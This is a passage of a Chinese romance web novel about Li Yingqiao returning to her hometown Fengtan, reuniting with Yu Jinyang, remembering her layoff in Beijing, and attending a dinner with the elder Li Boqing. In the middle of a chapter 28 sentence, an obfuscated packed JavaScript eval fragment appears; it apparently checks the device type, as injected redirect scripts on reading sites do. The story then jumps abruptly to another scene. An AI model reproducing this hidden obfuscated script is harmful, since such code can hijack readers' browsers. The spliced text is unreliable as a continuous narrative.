“话先说前面,我是绝对欢迎你回来的。”高典一脸信息过载的表情,索性撂下筷子说,“但为什么啊,你原先那公司如果干得不舒服,辞了就辞了呗,凭你的能力在北京又不是找不着工作,干嘛要回丰潭来上班啊?” 李映桥正叼着块鸭掌在啃,“很惊讶吗?喵不也放弃外面的花花世界回来了吗?” “那不一样啊,喵是早晚要回来的,四一哥那么大的摊子生意他得回来接手啊,而且,喵是因为——” “是不是李书记给你打电话了?”俞津杨打断,放下筷子转头问她,又随手抽了张纸巾递给高典,示意他闭会儿嘴。 高典却没反应过来:“李书记谁啊?” “李伯清啊,”李映桥抬眼说,“就当年那个单枪匹马去广东玩具展销会,结果给丰潭拿下第一笔木玩订单的李伯清,高考放榜还给咱们发过贺语那个。” 李伯清也算是个传奇人物,当年就是他用镇上一位老人做出的第一只木头玩具投石问路,竟意外在广东开拓出丰潭木玩市场,于是回来就招兵买马、大张旗鼓地集资办厂,确实镇上不少人跟着发家致富,俞人杰也是其中之一。 在那个万元户都罕见的年代,在李伯清的带领下,整个镇一年就做出近百万的销量,甚至随着互联网时代电商的到来,订单远销海外。 李伯清自认生来就带着使命,他对这片土地有着深厚的情怀,不光自己挣钱,还要带着所有人挣钱。 当年镇上但凡会做点木工手艺的,人均手里都有好几间木玩工厂,但今时不同往日,丰潭木玩这条产业也成了百足之虫死而不僵,早已是夕阳产业。 就连俞人杰也是,每年挣得确实还没一家酒店的分红来得多。但李伯清的面子,别说俞人杰,就连丰潭政府的领导都还得让他几分。 当年他们几个高考成绩一公布,李伯清都惊掉下巴,虽然他们几个都迁到小画城了,但李伯清还是把他们几个算作是自己后生,毕竟镇上什么时候出过那么多名牌大学生。 一六年却一口气出了四个。那年的几个小孩确实狠狠让李伯清长了一波脸,好一番扬眉吐气,所以他对李映桥几个的动向也格外关注。 疫情爆发那年,他让人逐个打电话过去询问,问他们在外地发展如何,如果不好的话,要不要考虑回家乡发展。 李伯清当时开出的条件很丰厚,毕竟当时他在丰潭还有些话语权,但这两年他也开始退二线。李映桥决定要回来的时候,他那边已经给不出什么优渥的条件了,但也还是诚意满满地说你要回来我夹道欢迎,肯定尽我所能给你保驾护航。 李伯清确实对这片土地爱得深沉,作风却老派,时常在朋友圈写诗表达对乡土的热爱。 “对对对,”高典也想起来,“他朋友圈老写诗,喵给他每首诗都点赞了。” 李映桥叼着鸭掌呢,诧异瞥俞津杨一眼,“看不出来啊,喵你这么舔呢?” 俞津杨置若罔闻,接着夹了块鱼肉,低着脑袋贴着桌板在吐鱼刺,半晌才开口:“他让你去小画城上班?做什么?景区管理员?” 李映桥言归正传说:“差不多吧,他说随便我折腾,小画城嘛,反正最熟了。” 俞津杨笑了下:“你小学就搬走了,小画城早就改建过好几轮了,你确定你还熟?什么时候入职?” “下周,等现在的运营老总走了,我就去点个卯。”李映桥反问,“你工作室什么时候开的?” “去年吧,”他人往后一靠,抽了张纸巾擦手,转手去捞手机,“微信,我扫你。” “哦哦,”李映桥拿着筷子愣了下,反应过来另只手也去摸手机,还喃喃了一句:“咱俩怎么还能没微信呢?” 他扫完扯了下嘴角,语气倒是难得有些阴阳怪气:“问你啊,为什么。” 高典也拿起跟着扫,眯眼道:“靠,纯情屎壳郎蹦恰恰?不是啊,偶像,这不会是你的工作微信吧?” 李映桥通过两人的好友申请:“当然不是,工作我另有安排,这我私人微信。” 俞津杨看着跳出来的对话框,突然想起来一件事,转头看她问:“你以前是不是加过我?” “没有吧,”李映桥也忘了,“也可能有一阵子搜过q.q号什么的,你是不是当时没通过。” 俞津杨把手机往桌上一扔,偏过头无语地盯着她看了两秒,见李映桥一脸无辜地看着他,自己先忍不住笑了:“你又没备注,地址还在安道尔——” 李映桥差不多也吃饱了,放下筷子,眼神凉飕飕地看着他说:“行吧,不怪你,怪我咯。” “怎么敢啊。”他低下头去发送好友申请,笑了声。 李映桥这次回来才发觉,俞津杨长高了之后,连五官都更加匀称优越,从前总觉得他眼睛太大——其实他是不太标准的丹凤眼,在他小时候那张脸上显得过于占地方。 如今比例却很适中,眼尾微斜上扬,但又不是狭长那款,小时候更看着更秀气,如今褪去稚气,脸部线条轮廓清隽而流利,平直浓郁的剑眉更衬得这双眼睛内敛神气。 以前他自己还开玩笑说他是变形金刚,因为很多汽车灯都是参考的丹凤眼这个眼型,她和高典问他是法拉利还是保时捷,他说自己是柯尼塞格。后来李映桥在北京真见到一台柯尼塞格,才知道他也是个胡说八道的,人都不是丹凤眼的设计。 不得不承认,此刻棒球帽檐下那张冷峻帅哥的标准脸,确实是吸引人的。 私人酒吧的光半明半昧。俞津杨仍能察觉到李映桥明目张胆的视线,他其实早就察觉到了,本来想当作没看见,但她一直盯着他,丝毫没有要挪开的意思,这么长久的凝视,如果他再无视,反倒显得他心里有鬼,于是他也微微偏过头,坦然将目光迎上去,她也没说什么,只是大大方方盯着他看,两人没了刚开始视线一相碰就下意识想要移开的局促。 不知道是不是他的错觉,李映桥瞧他的眼神,就像在看一件换季时突然从衣柜里翻出来的旧t恤,有种被岁月洗礼过的遗憾,又好奇他还能不能穿。 “吃饱了吗?”他问。 “饱了。” 话音刚落,高典拿着手机头也不抬地说:“店里来了俩客人,我得回去当渣男去了,你俩慢慢叙旧。对了,偶像,如果真决定留下的话,以后多多光顾我生意,小画城那个景区里现在住的可都不是什么好鸟,你肯定用得上我。” 说完,他一溜烟给跑了。 李映桥维持了一天完美体面的面具,终于在这刻破裂,回头冲着他的背影大吼道:“死高典,你别咒我!” 吼完一转头,余光瞥见一旁的人嘴角微抿憋着笑,眼角弯弯的。 “俞喵喵!” “哎。” “别笑了。” “我没笑啊。”他非但没躲,反而还像刚才她直白的视线那样,毫不避让、甚至有些挑衅地对上她忿忿的目光。 他居然还把他一向宝贝的后脑勺亮给她,“这什么,李映桥?” 李映桥:“……你就那么欠揍?” 俞津杨这才收敛了嘴角,声音也冷淡下来:“只是看不惯你那么认命的样子,你刚才和高典说那些三六九的东西,比我太奶看起来都认命,老太太三不五时还能赛博娱乐一下,偶尔还能给人捧个哏。” 他忽然想起,前两天太奶和他侃的大山,“李映桥,我考考你,现在夸一个男的身材好一般都说什么?” 李映桥:“……” 俞津杨说完也没觉得有什么不妥,但看到李映桥瞠目结舌的样子,才后知后觉自己说了什么,瞬间耳朵就炸红,甚至以肉眼可见的速度蔓延到脖子上。 像被扔进沸水的明虾,瞬间就红得不像样。 他忙咳了声,“——不是,我没别的意思。” 李映桥反而笑开了,“你想说什么?” 等她笑够了,他才拿帽檐下的眼睛撇过头去睨她,语气倒是不紧不慢:“真没别的意思,只是想说,刚才骂高典那样子才像你。” 李映桥一愣,冲他勾勾手大声道:“那你后脑勺过来,皮痒早说啊。” 他仿佛看穿她,一动不动:“别演了,越演越不像。” “是吗?”李映桥挑眉,谑他,“俞喵喵,按你的设想,我现在出场是不是非得表演个胸口碎大石,还是要徒手劈块砖?不然就不是李映桥了是吧?” “反正你不是。”他也逗她。 “那你说谁是,那个李映桥是什么样的。” “那个李映桥,应该还在讨厌我。” “胡说。” “那你不是那个李映桥。” “那你也不是俞津杨,毕竟从前俞喵喵说过要给我当狗的。” 他没再看她,拿起手机站起来,帽檐下那张脸看不出什么情绪,只见他微微别开脸,低声说:“是你自己不要的。” “我现在回来了。”她却没动,坐在那看着他说。 “过期不候了。” 28 第二十七章 他说完,把桌子给她挪开,桌角发出短促的刮蹭声响,他侧身让出一条通道让她从里面出来,李映桥仍是没动,反而向前倾了倾身子,仰着脸去寻他帽檐下的那双眼睛,辨出这话的真假,好奇地尾音都上扬:“真的吗——以后不跟我玩咯?” 俞津杨只是将头撇到一边,低声说:“走不走了?” “走走走。”李映桥这才从座位上站起来,意兴阑珊地从他旁边走出去,还拿手状似无意地比划着两人的身高,“不过,你是怎么长得这么高的?真把腿截了一段啊?” 她目光看下去。 他没吭声,转身从吧台里拿了把伞,刚直起身,李映桥又站他后面:“不用伞,我开车了,直接从酒店的地下车库去商场就行。” 俞津杨看她一眼,还是把伞递给她,下巴指了指她脖颈处的红砂:“中暑别淋雨,放车里备着吧,下次再还我。” 李映桥愣了片刻才接过,“其实,喵,我是想找你帮个忙来着。” 俞津杨斜倚在吧台上,低头看着她,表情并不意外,反倒是默默松了一口气,这么多年没联系,一回来就直接来找他,这么主动的李映桥,多半是真有事求他。 不然这么多年没见,她真犯不上这么对他。 他点头:“你说。” 李映桥眼神在他脸上逡巡片刻,嘴唇却始终被一根穿针的线紧紧牵着,显然有些难以启齿。 俞津杨没有催她,单手抄兜,人靠在吧台上看她,耐心地等她下文。 “你现在没有女朋友吧?” “没。”他言简意赅,但有不少亲戚鼓动他爸妈给他相亲,这句他没讲,“你想说什么?” 他眼神像一片澄澈而温吞的湖,望进她的眼里,平静也温柔。 李映桥忽然觉得自己没办法对他讲出那些话,虽然她今天就是为这事来的,但这么多年没见,他们如果是这样的开场,俞津杨恐怕是真的会生气。 于是她话锋一转,随便找了个借口,笑笑说:“没,我随便问问,那明天能陪我去吃个饭吗?李书记要说给我接风,我不是很想一个人去。” 当年他们几个高考成绩一放榜,李伯清还大张旗鼓在镇里要给他们几个摆升学宴,李伯清作风很老派,自从商人转型成功后,也开始整官僚主义那套,李映桥那顿饭吃得她浑身难受。 哪怕在外面磨历过这么些年,和李伯清这样的人周旋多少也需要些耐心,李映桥显然没有,她和梁梅在某些李面确实很像,至今他们几个都非常理解,当初梁梅为什么会找上她。 俞津杨迟疑几秒,宽阔挺拔的身形在酒吧昏昧的灯光下笼着她,人只是静静立在那,像棵生了根的树,目光沉沉地看着她,始终没作声。 这也不愿意吗?李映桥只好说:“喵,你当我没讲。” 俞津杨垂下眼皮,说:“好,等会儿地址微信发我。” “哇,俞喵喵,这么多年过去,你还是这么好说话呀!”李映桥笑嘻嘻地在他肩上拍了下,又开始后悔自己或许多虑了,刚刚就应该直接跟他讲,我能不能蹭一下你的上海户口,我想在上海给姝莉按揭买套小房子。 他率先推门出去,伸手去按电梯,没讲话。 “你这人怎么这样,夸你还不高兴了?” “哪不高兴了?”他看她一眼。 “你要也烦李书记的话,就别陪我去了,我自己可以的。”这并不是她的本意。 “没事,”他说,“明天正好没事。” 李映桥冲他嘿嘿一笑,“喵,还是那句话,见着你真很高兴。” 鸦雀无声,直到电梯门缓缓关上,只听俞津杨声不着调,又回了句:“你少哄我了。” 再没搭理她。直到两人走到停车场,李映桥解开车锁准备上车,回头和他说明天见的时候,俞津杨仍是站在原地没动,也没回说明天见。 其实李映桥也高了不少,她从小就漂亮出挑,初中的时候很瘦,看着有点营养不良,但因为她的脊背永远挺得笔直,即使套件灰扑扑的校服也在人群中很扎眼,唐湘和他说过很多次,小时候接他们放学,李映桥永远最好找。 如今她早也不梳那种紧绷勒头皮的大光明马尾,头发很随性地披散在颈间,唯有额前的碎卷胎毛还透着些少时的俏皮,尤其笑起来,和小时候其实没什么两样。只是从前她整个人硬得像根旗杆子,眼神带着股不服输的锐气,如今她饱满而舒展,也柔和很多,像一片包含春情的树叶,她身上有着崭新的精致和成熟,也有儿时不服输的少年锐气。 李映桥扶着车门,见他没回应,拿手在他面前晃了晃,“嗨~俞喵喵,说再见。” “李映桥,”他叫住她,声音不算高,但停车场空旷,像石子掷入深水湖面发出的闷响,俞津杨双手松松地揣在裤兜里,站在原地看着她,“在外面没碰上什么事吧?” “放一百二十颗心,一点事没有。”她关门上车,降下车窗和他挥手道别:“明天见。” 俞津杨人仰着坐在驾驶座里半天没启动,拿着手机划拉着微信来回翻了下,又泄气地扔进扶手箱里。 他刚刚应该问的,其实问一句你这几年过得怎么样也不会怎么样。 尽管她给出的答案一定会是我很好,非常好,特别好。 其实,考上大学那年,他俩是同一天的车离开丰潭。他是十二点十五分的火车去上海,而她则是十二点整的班次去北京。他俩在人声鼎沸的火车站,看了彼此很久。 俞津杨身边很热闹,除了太奶奶和爷爷没来之外,家里能喘气的几乎全来了,就连他高中时养的拉布拉多都屁颠屁颠跟过来要给他送行,俞津杨抱着它亲了又亲,哄了好久才给它哄回车上去。 不知道为什么,李姝莉那天没有来送她,唐湘和俞人杰也没有发现人群中的李映桥,他们光顾着急赤白脸地和姥姥吵架。 因为姥姥偷偷往他的裤兜里塞了一个红包,被眼尖的唐湘女士扫见,立马就给没收了,还劈头盖脸地说了姥姥一通—— “津杨都这么大了,您别再动不动给他塞红包,这孩子就是被你们给宠坏的。再说,我们都提前给了他半年的生活费,您别再背地里瞒着我们给他钱了,再让我抓着一次,他生活费就减半……” 姥姥重新把红包从他妈手里夺回来,明明平时看着那么弱不禁风一老太太,那一刻力量却出奇的大,他都推不开,干枯的手掌牢牢禁锢住他的手腕,怎么都要把这个红包塞进他的口袋里,边塞嘴里还喋喋不休地保证道:“最后一次了,最后一次,以后保准不给了。他从小到大就没离开过这里,好不容易考上大学,一个人在外面有点钱才能傍身……” “您每次都说最后一次。” “好了好了,这事儿我说了算,妈,咱听湘湘的,咱疼孩子不是这么疼的。”俞人杰也就这时候不痛不痒地插句嘴。 俞津杨就这么听着姥姥和他妈各执一词地争辩着,不远处大姑和小姑脚步匆匆地从进站口跑过来,塞了两盒玉米饼让他带车上吃,还有一大袋零食,小姑不会说话,给他打手语,让他一路上好好照顾自己,俞津杨还没来得及道谢,大姑一上来也急赤白脸地又给他裤兜里塞一红包,他哭笑不得,于是他妈又劈头盖脸说大姑,同一番话连词都不带换的。 那时,他也马上要检票,就在这样闹哄哄的气氛中,他静静地看着对面站台上的李映桥一个人拖着行李箱毅然踏上那趟北上求学的列车。 在没有人注意的角落里,他们隔着人山人海的站台,彼此最后对望一眼,那时候丰潭还没通高铁,李映桥坐在绿皮车厢内冲他笑了下,眼神挺坚毅,却莫名令人发酸。 他其实知道她想说什么,不是再见,不是道别。 那时她一定说的是—— 俞喵喵,我要去改变世界咯,你别太想我。 29.第二十八章 李映桥毕业入职第一家公司就是晟之美生物科技,在面临清盘之前,她其实就已经被“裁员”了。那几年公司效益每况愈下,她深知公司优化的必然性,只是没想到这么快就轮到自己。好歹当年也是和大boss在街边撸过串的交情。 后来她才知道,成也萧何,败也萧何。偏就和老板撸过串的那几个都无一例外地被优化了,她们组里一敏锐的姐们参透这件事的真相,立马搞清来龙去脉,两人抱着箱子准备打道回府,刚走进电梯,赵屏南还没等电梯门合上,就靠在电梯厢上仰天长叹一声,和她讲八卦:“你才是无妄之灾呢,你那天接了个客户的电话走得早,不知道后来的事。” 李映桥侧头看她,好奇道:“这里面还有什么内情吗?” 赵屏南说:“老板那天喝多了发疯,干了些蠢事,被组里的人录像了,他自己喝断片了是不记得了,我估计有人把视频传出去了,其他组的人知道了呗,谁让咱们手里最近合作的面膜又刚好爆了大雷,Lucas再一煽风点火,咱们这个组直接咔掉了。” 这事儿李映桥倒是不知道,她只知道她被裁掉倒不是因为这件事,而是她确实没和老板谈拢,这些资本家手段层出不穷,就裁员这事儿,他早一个月之前就背地里搞小动作,连门禁卡都消磁了,好几个人没刷上卡真就溜号了,立马被记旷工。 他又找主管部门各种谈话,提出全员降薪,降薪就降薪吧,现在工作多不好找啊,大家愿意干的也就留下来了,不愿意干的就主动离职了。 但这个老板比较没人性的是,他联合所有部门主管签下的降薪协议,全体降薪百分之三十,只要部门主管配合优化部门人员,哪怕使些不入流的小手段,让员工主动提出辞职,就会在这次优化结束后把百分之三十作为奖金的形式补回去。 因为他不想赔付N+1的裁员补偿。 李映桥和老板单独谈完话,她不想为难组里的同事,关键她组里就没几个人,赵屏南是个钝感力很强的乐天派,哪怕你点名道姓地指着脑门骂她,她也只会慢半拍地指着自己反应不过来,啊?我吗? 而至于其他人,也就剩下个小关,林小北,何姐,每个都难搞,何姐的母亲还在重症病房,每个月还房贷都捉襟见肘,医药费都还是她和小关凑的。 李映桥没签合同,摘下脖子上的工牌交回去了,她决定自己走。 只是她没想到,那么阴险狡诈又抠门的资本家,竟然也会恼羞成怒,直接把她们整个项目组给砍了,比预料之中好点的是,至少他们几个都拿到N+1赔偿了,赵屏南说这是封口费啦,买断小北手里视频的。小北怕他不愿意给N+1,把视频都发给我们了。 李映桥无法理解,一脸不可置信,要不是手上抱着箱子,她真想掐着赵屏南的脖子摇她个天昏地暗:“小北为什么没发给我?有这么重要的把柄,他竟然不!发!给!我!” 赵屏南不好意思:“……小北以为你应该不会被开。映桥姐,你接下去打算去哪?” 其实那时候有不少猎头来挖过李映桥,她不着急,打算留在北京慢慢找工作。 “你呢?”她反问赵屏南。 “我嘛,”赵屏南早已经做好了打算,所以她这次走得也痛快,“我回老家,我妈刚承包了一座茶叶山,我准备回去卖茶叶了。” 说来惭愧,两人同事快两年,她也不知道她老家在哪,这会儿也不好再多问,只好说:“那祝你一路顺风。” 赵屏南却靠在电梯轿厢上,似笑非笑地看着她。 李映桥被她笑得心里发毛,干什么这个表情,不会要卖她茶叶吧,不要啊。 李映桥抱着箱子,也提前冲她抱歉地笑笑—— 对不起了,等会儿上地铁就删掉你。 等两人抱着箱子走出公司的大楼,正一言不发地往地铁站走的时候,赵屏南却又突然开口说:“映桥姐。其实我也是S省的,我知道你是丰潭人。” “……” S省也没用,微信还是要删。不过李映桥这几年已经很少接触到和丰潭相关的事或人,这俩字在她听来都有些陌生,乍一听见,还有些恍惚,也微微讶异:“你也是S省的?你哪的?” “我是庆宜的。”赵屏南仍是那个神秘兮兮的笑容,“你不知道吧,我一进公司就知道你和我一样来自S省,但我很少提,怕你觉得我想跟你套近乎。” 李映桥这个项目组刚成立时,她为了拉近彼此的距离,也没少和组里的人聚餐,每当酒过三巡,同事们一个个眼里流光溢彩就开始提自己的家乡,但她一般都沉默。久而久之,大家也很少同她聊起家乡,以为她对家乡没有什么感情。 赵屏南和她顺着人流往地铁站走,在红绿灯路口停了下来,她看着李映桥说:“映桥姐,其实你是不是也很想回老家?你还记得我们有一次聚餐吗?那天你喝了也不少,不知道给谁打了个电话后就一直在哭。小关问你怎么了,你说你想回丰潭,你特别想回丰潭。” 同事两年,赵屏南其实和她不算太熟,李映桥好像没什么朋友,在公司里也是独来独往的,但她性格其实很开朗,他们不愿意和她走太近的原因,不过也是因为她是上级,所以一直和她保持不远不近的距离。 但赵屏南其实心里一直很佩服她,B大出来的高材生,无论什么项目交到她手里,他们还跟脑雾大战的时候,她都能得心应手、有条不紊地把方案写得一笔不苟。起初刚进入公司,她还算是她的师傅。 李映桥那会儿也抱着箱子站着等红绿灯,目光有些失神,直到一台柯尼塞格从她面前的街道上呼啸而过,她才像是想起什么荒谬绝伦的事情,笑出声来说:“我真忘了。” “那你还记得,我刚进公司的时候,你带着我做NYI的干细胞项目,半夜十二点老板突然通知我说我们的方案临时入围,但是作为备选入围的。因为其中一家公司突然深夜爆雷,我们才有了这个备选名额。那时候我作为实习生加完班,还没睡半小时你电话就打来了。对方要求我们明天早晨七点之前到NYI的总部做方案讲解,可他们总部在石家庄。” 李映桥听到这,这才将目光挪过去看她,缓缓点头说:“记得,还是个雪天。” “是啊,老板都说算了,对方是故意在为难我们,”赵屏南说,“可你做了个疯狂的决定,连夜自己开车到石家庄,我们一点半出发,开到人集团楼下正好早点六点,我们俩还蹲在旁边的公共厕所里灰头土脸的洗漱化妆,扫地阿姨看咱俩太可怜了,还特意给咱俩多留了一包卷纸。但有个男的一直在厕所门口徘徊盯着咱俩,你还记得吧。” “记得,你说你在车里睡得不太好,担心影响等会儿的方案讲解,直到收拾那个男的的时候,我完全放心,我觉得你脑子很清醒。” “对,我记得我要报警。” “不是,是你在咱俩混作一堆的化妆品里,你准确无误地抄起我的粉饼当作武器的时候,我就觉得,那天NYI的方案必定是我们的。” 赵屏南:“……” 这样的李映桥突然变得灵泛,赵屏南其实觉得有些陌生。公司里她多数时候是过于冷静和理智,出去聚餐又是个很散漫的性子,或者说相当随和,任凭他们闹得人仰马翻,自己只窝在沙发的角落里,看他们玩得找不着北,看他们笑得沸反盈天,然后她悄无声息买了单就走,一个很让人有安全感、却也不怎么想亲近的上司。 李映桥见她无语,再次笑出声来,下巴指了指前方的灯牌,“绿灯了,走。” 直到两人走进地铁站,赵屏南鞋跟把台阶踩得噔噔作响,继续讲:“我们拿下方案后,你跟我说了一句话,你还记得吗?” “哪句?” “哇,映桥姐,”赵屏南觉得伤心,看她一眼说,“咱俩同事这么久,总共也没讲几句真心话吧,你竟然不记得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那条泥泞的黄土路仍是潮湿而黏腻,直到一道道宽阔的车辙印覆盖着原本人们的脚印,朝着那黛青色的深山延伸而去。两台车子前后驶进山庄的大门,这时,饭店门口走出一个高挺身影,边大步流星朝他们过来边高声招呼:“津杨!” 俞津杨将车靠边,降下车窗,笑着同人寒暄,“连丰哥。” 来人叫李连丰,是这家李伯清的大孙子,三十出头的年纪,面庞端正斯文,戴着一副无框眼镜,目前在市政工作,是李映桥和俞津杨的潭中学长,高他们两届。他和李映桥不熟,两人第一次见面,和俞津杨还算熟,丰潭没什么年轻人,两人约着打过几次球。 李连丰一见面就笑着揶揄他:“稀客啊,津杨。之前怎么喊你都不肯来,今天倒是愿意陪着女孩儿来了啊?” 俞津杨从后视镜里瞥见李映桥下车的身影,自己也跟着推门下车,但没搭他的腔,等李映桥走到两人面前,他靠在车门上给她介绍说:“李书记的孙子,连丰哥。” 李连丰虽没见过李映桥,但听老爷子说起来像是个有点凶悍的女孩,没想到是和这方水土这么格格不入的一个人,完全不像土生土长的丰潭人,清冷又高挑。他眼睛还真是亮了下,娴熟地伸出手:“映桥,久仰。老听爷爷说起你。” 初次见面,就能自然而然地省去姓氏,游刃有余却不显轻浮地叫人名字的人,这是种与生俱来的能力。 俞津杨天生就缺这根弦,他的微信备注里,每个人都完整地拥有姓名,严谨程度堪比派出所的户籍管理。 李映桥回握住他的手,很快松开,也跟着俞津杨笑着叫了声,“连丰哥。” 落落大方,侃侃而谈。李连丰笑容又深了一层,脸上的褶子像冰凉的湖面上泛起的层层涟漪,笑得一浪又一浪。 寒暄过后,李连丰让李映桥先进门,随后给倚在车门上的俞津杨递了支烟过去,眼神往旁边花坛意味深长地一指,“咱俩聊会儿再进去?” 30 第二十九章 俞津杨没接递来的烟,只是倚着车门上目送着李映桥进去,而后才转头看向李连丰,平淡疏离地开口:“在这儿说吧,我不抽烟。” “不能吧?” “哥,我真不抽。” 嘴上叫着哥,语气听起来莫名有点不耐烦。 李连丰察觉到他的冷淡,表情也跟着收起来,讪讪把烟插回去,心下忍不住腹诽,就知道这小子没那么简单,平日里无论怎么叫都不肯来,今天还以为他转性了。 “你和李映桥关系不错?”李连丰只好给自己点了支烟,打火机塞回兜里,吐了口气好奇说。 “一般。”俞津杨说得言简意赅,人靠在车门上,看似在给自己提神般地慢悠悠活动了一圈脖子,实则在巧妙躲避对方喷出的烟雾,语气仍是平淡,“很久没联系了。” 李连丰默默又抽了两口烟,说:“我以为看你爸和她舅舅这么水火不容的关系,你们俩应该也是王不见王的。” 俞津杨一抬头,便瞧见饭店二楼中式格栅窗户的空调外机边上,冷不丁探出个熟悉的脑袋,李映桥猝不及防地冲他扮了个鬼脸—— 喵,看我看我。她还有口型,简直一如既往的活泼。 他“噗嗤”笑出声,连带着一旁的李连丰也回头看了眼,连只苍蝇都没瞧见。 俞津杨老半天才收回视线,不咸不淡道:“小时候一起玩得挺好,这几年确实没怎么联系。” 李连丰咂摸咂摸这话里的意思,心下有了判断,于是也开门见山说:“那哥也不跟你藏着掖着了,不管你是出于和李映桥青梅竹马的情分,还是别的什么原因,既然决定来了,等会儿进去可能会听到些不好听的话,你也别介意,你就当这些人放屁,我老爷子年纪也大了,脑子糊涂,什么事都想掺一脚,放心,我尽量帮你维持局面,不让你为难。” “谢了哥。”俞津杨笑了下。 李连丰自诩阅人无数,在人情世故这方面向来游刃有余。唯独看不透眼前这个人,俞津杨表面温柔有度又随和,看似对你鞠躬尽瘁,一口一个哥来哥去的,你要真当自己是他哥,那才是着了他的道。 俞津杨是个滴水不漏的性子,那腰杆子弯得起,也直得起,他高兴,或许还愿意陪你演一出折子戏,不高兴,想要摁他头是摁不动的,全看他自己愿不愿意伏低做小。 就去年李武声玩具厂的人把俞人杰给撞了这件事,两家这半年闹得不可开交,连李姝莉和唐湘见面都颇尴尬。可这镇上十户里七八户姓着李,李武声也就沾了这点便宜。李伯清骨子里又是个思想根植在这片干涸土地里的守旧派,自认还算说得上话,想拉偏架,让俞人杰卖他个面子,要点赔偿就算了,别把事情闹大。 然而事情哪有李伯清想得那么简单。俞人杰出事后,他们家几乎天翻地覆,唐湘还有个不到三岁的女儿要带,又要应付公司里堆积如山的事物。 俞人杰自己更煎熬,腿疼得整夜整夜睡不着觉,那阵子他都能数得出天花板的裂纹。身上那汗就跟海绵垫子里的水似的,怎么都出不完,擦干没多久又洇出个人形来,床单来不及换,床单上的人也瘦得已经不成样。 可尽管是这样,他们也都一致决定还是瞒着在国外的俞津杨,没告诉他家里的近况。直到有一次电话里,甜筒带着哭腔稀稀拉拉地叫着哥哥,爸爸痛痛。俞津杨才知道家里出了这么大的事儿—— 那会儿他正在国外一家著名机械表集团的芝加哥分部任美洲区战略发展经理,负责北美市场的供应链优化。不出意外的话,他的职业规划是两年内应该能回国,因为集团当时正在筹建上海高端客户机械表定制中心,整个项目由他主导,总部高层认可他的中国背景,也认可他对中国市场的战略布局。 只是这板上钉钉的事,却偏偏没想到,那个原本天天给他打越洋电话抱怨中国自来水有味道想回芝加哥的fernando同志,在前不久和总部的一次视频述职会议上,突然当众宣布——他打算和中国女人结婚,他要留在中国,他要申请延长中国区战略经理的任期。 fernando赖在中国不肯走,俞津杨也知道自己后面很难再有其他机会,又恰巧那时接到甜筒那个哭唧唧的电话,于是一周后,他在去年底决定向总部高层提出离职。 回来之后,李伯清就见缝插针地给他打电话,想从他这边做思想工作,但都被俞津杨四两拨千斤地打着太极回绝,这事儿李武声有没有参与尚且还两说,就算他没参与,他爸的腿被撞成这样,怎么可能要他们只拿铺面来息事宁人。 他当然知道自己今天来,会面临什么场面。李映桥提出这个要求的时候,他几乎下意识要冷下脸来,他总归忘了,她也姓李。可他当时转念又忍不住想,他俩四五岁就认识,李映桥是什么样的人,他非常了解,她不会不分青红皂白就帮李武声搭桥牵线。 可他们多年未见,他不知道她有没有变,但如果他不来,李伯清和李连丰这对爷孙向来擅长一个唱红脸,一个唱白脸。李映桥玩不过的,万一被他们牵着鼻子走,保不齐他们俩以后连正儿八经的朋友都没得做。 所以他答应了,有些话,李伯清顾及他在场,不会说得太过分。 正如李连丰所讲,这半年李伯清没少掺合这件事,就是所谓站在他的大局观上出发,丰潭的经济太差,现在是僧多粥少,海外订单也直线下滑,几家大企业都倒闭,小作坊也就混个温饱,连俞人杰都转行。 现在早已经不是当年阿猫阿狗开个代理工厂就能赚得盆满盆满的时代了,所以越到这种时候,大家越要团结起来,共度这个难关。 果不其然,俞津杨和李连丰一上楼,在门口就听见李伯清在唱些陈词滥调,无非就是让他们目光、格局都放长远一点,别因为私人恩怨耽误丰潭企业的发展。 李伯清放下筷子,扬手招呼人又开了一瓶红酒,说:“现在好的木材从树木种植到成材都要近百年的时间,尤其是不可再生资源,就连咱们丰潭盛产的香樟木,也有林业保护,没有批证你也不能乱砍。现在这情况就是大厂子带不好头,小厂子又一茬茬冒出来,那相关部门的检查肯定会更严格。生产废料的排放、粉尘污染这些都是问题。不过,有些厂子现在我看转型做那个什么生物粒子好像不错,还拿了省里的扶持是不是?” 他旁边的中年男人回:“对,是生物质颗粒。这个主意还是津杨帮忙想的,可以把木玩厂生产的木屑废料加工成生物颗粒,提供科技燃料。别说,前阵子我们靠这拿了个专利。到底还是他们年轻人脑子活络转得快啊,不然现在镇上死的厂子还要多一些。” 李伯清叹了口气:“这小子就是心思不在这,太可惜。那么好的脑子,也不想着为家乡做点事,要自己去搞什么设计。思想觉悟上还是差点——” 李连丰飞快地看了眼俞津杨,咳了声,侧身让他先进去:“你多包涵。老头年纪大了,智力水平倒退就是个七八岁小孩,你别和他计较。” 心智确实像,外表可不像。李伯清坐在餐桌主位上,像颗被人牢牢栽了几十年的老萝卜,没人能拔得动他,他的根系在经年累月的腐朽中,越来越深地朝着土壤深入蔓延,俞人杰说他就是一颗烂在土里的老萝卜。 李伯清一见两人进门,也不管俞津杨听没听见刚才的话,就立马端着长辈的架子直接拿他开涮了,说得还是那些不入流的玩笑,“津杨啊,你小子,这我就得说说你了,平时让你来你不肯来,李映桥一来,你就巴巴跟来了,知道你俩青梅竹马,也不用看这么紧吧?” 桌上人心照不宣地发出一阵阵哄笑,眼神在两人之间暧昧不明地来回逡巡,像是嗅到了腥味的一群野猫,眼神还冒着绿光。 李连丰有些不安地看了眼俞津杨。 “李书记要这么不欢迎我我走就是,平日里喜欢拿我开涮就算了,没必要拿李映桥说事,我们也有六年没联系了,”俞津杨在李映桥旁边坐下,不动声色瞥她一眼说,“我和她微信都是昨天刚加上。” 这话让李伯清面色干下来,这小子警惕性高,再说下去倒显得他这个长辈老不正经还咄咄逼人。 照往常,一般小年轻哪敢这么反驳他,真对人有意思的,要么就顺着他的话刚上爬,没意思的也就笑笑当作没听见。俞津杨这种把话说得冠冕堂皇还滴水不漏的,他听着就烦,也没往下接,决定晾开他,又在心里骂了句,油盐不进,跟他爹一模一样。 李伯清让李映桥多吃点,李映桥也没理他,又自顾自让人开了几瓶葡萄酒,和身旁的人聊他的宏图伟业去了。 